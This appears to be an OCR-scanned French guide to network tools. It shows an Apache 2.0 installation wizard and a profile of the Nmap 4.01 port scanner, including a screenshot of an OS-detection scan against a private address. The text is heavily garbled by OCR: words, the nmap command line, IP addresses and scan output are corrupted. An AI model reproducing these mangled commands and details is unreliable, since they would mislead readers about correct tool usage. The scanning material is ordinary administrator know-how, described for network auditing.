i Apache HTTP Server 2.0 - Installation Wizard

Server Information
Please enter your sepver's information.

Metwork Domain {e.g. somenet.com)

|DrS4Ma; cam

Sarver Name (2.9, wiww,sormenet, com):
h‘-lyWed:Sewer DMS4Me, carn

Administrator's Emal Addrass (2.0, webmaster@somenst. com):

|sales@rhinosaft.com|

Install &pache HTTP Server 2.0 programs and shaorbcuts For:

(%) For all Users, on Port 80, as a Service — Recommended,
() emly For the Current User, an Port 5080, when startad Manually.

[ & Back |L Mexk > Jl Cancel ]

Téléchargement

http://www.apachefrance.com/Telechargement/4/

Sécurité de Poutils

Quelques failles ont été reportées, cependant des mises a jour sont propo-
sées rapidement.
La liste des vulnérabilités Apache est disponible a I’adresse ci-dessous :

http://secunia.com/search/?search=Apache
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Nmap

Scanner de ports

Version actuelle Nmap 4.01

Utilité sl b e o

Type Scanner de ports

Description Nmap est un scanner de port puissant conc¢u pour détecter les ports ouverts,

les services hébergés et les informations sur ’équipement audité. Cet outil
est donc tres utilisé par les administrateurs réseaux afin de connaitre les
points d’entrée et sortie des flux réseau.

Ce scanner se base sur 'ensemble des protocoles IP, TCP, UDP et ICMP et
analyse les réponses de la pile IP de la machine cible. Cela permet alors
d’obtenir I'empreinte caractéristique de chaque type de machine (impri-
mantes, marque de I'ordinateur, firewall, routeurs, voIP...) et/ou le systeme
d’exploitation hébergé.

Nmap contient 3100 signatures correspondant a 381 services différents et
presquel700 empreintes de systemes d'exploitation (dont le récent Mac OS
10.4).

Nmap est donc un outil indispensable qui accueille de nouvelles fonctionna-
lités avec des scans de plus en plus fins a chaque mise a jour du logiciel.

Capture d’écran

B3 C:\WINDOWS\system32\cmd.exe ol x|

IC :~Program Files“Nmap>nmap —s8 -n —0 192_.168.168.4

Warning: OS detection will be MUCH less reliable because we did not find at leal
t 1 open and 1 closed TCP port
Interesting ports on 192.168.108.4:
{The 1669 ports scanned but not shown below are in state: filtered?
I3 STATE SERVICE

open nethios—ssn

open microsoft-ds

ms—term

erv
IMAC Address: BB:BB:6A:1C:82:26 {(Asiarock Incorporation?
Device type: general purpose
(Running: IBM AI¥ 4.¥. Microsoft Windows 2803/ .HET INT/2K/%P
05 details: IBM AIX 4.3.2.8-4.3.3.8 on an IBM RS/%, Microsoft Windows 2883 Serve
 or XP SP2. Microsoft Windows XP SP2

IMmap finizhed: 1 IP address ¢1 host up? scanned in 28.148 seconds

IC:“Program Files“Nmap>

Téléchargement

http://www.insecure.org/nmap/download.html

Sécurité de Poutils

Peu de failles ont été découvertes, I’exploitation des failles d’'un scanner n’a
que tres peu d’intérét puisque son utilisation est ponctuelle.
La liste des vulnérabilités Nmap est disponible a I’adresse ci-dessous :

http://secunia.com/search/?search=nmap
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